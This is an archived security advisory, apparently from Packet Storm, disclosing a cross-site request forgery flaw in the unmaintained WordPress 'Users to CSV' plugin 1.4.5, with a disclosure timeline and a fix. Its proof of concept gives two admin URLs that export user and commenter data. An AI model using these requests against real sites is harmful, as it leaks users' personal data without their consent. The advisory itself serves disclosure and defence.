what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Users To CSV 1.4.5 Cross Site Request Forgery

WordPress Users To CSV 1.4.5 Cross Site Request Forgery
Posted Jun 15, 2015
Authored by Nitin Venkatesh

WordPress Users to CSV plugin version 1.4.5 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | c38fe2e6df77a4561880a32236ac8f8846cbae32ac709e17d717ef5696e62165

WordPress Users To CSV 1.4.5 Cross Site Request Forgery

Change Mirror Download
# Title: Cross-Site Request Forgery Vulnerability in Users to CSV Wordpress
Plugin v1.4.5
# Submitter: Nitin Venkatesh
# Product: Users to CSV Wordpress Plugin
# Product URL: https://wordpress.org/plugins/users-to-csv/ (disabled)
# Plugin SVN URL: https://plugins.svn.wordpress.org/users-to-csv/ (active)
# Vulnerability Type: Cross-site Request Forgery [CWE-352]
# Affected Versions: v1.4.5 and possibly below.
# Tested versions: v1.4.5
# Fixed Version: None. Support for the plugin has been deceased.
# CVE Status: None/Unassigned/Fresh

## Product Information:

This plugin adds an admin screen under "Users", giving two options:
exporting the current users to a csv file and exporting the unique
commenters on your blog to a csv file.

## Vulnerability Description:

User information can be exported via a GET request to users.php via CSRF.

## Proof of Concept:

http://localhost/wp-admin/users.php?page=users2csv.php&csv=true&table=users
http://localhost/wp-admin/users.php?page=users2csv.php&csv=true&table=comments

## Solution:

Disable the plugin. Support has been ceased.

## Disclosure Timeline:

2015-06-08 - Discovered. Contacted developer.
2015-06-08 - Developer responds that support for plugin has ceased.
2015-06-13 - Noticed plugin site has been disabled. It must’ve happened
somewhere between 2015-06-09 and 2015-06-13. Contacted developer for
re-confirmation.
2015-06-14 - Developer gives go-ahead for publishing a disclosure.
2015-06-15 - Publishing disclosure on Full Disclosure mailing list.

## Disclaimer:

This disclosure is purely meant for educational purposes. I will in no way
be responsible as to how the information in this disclosure is used.


Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close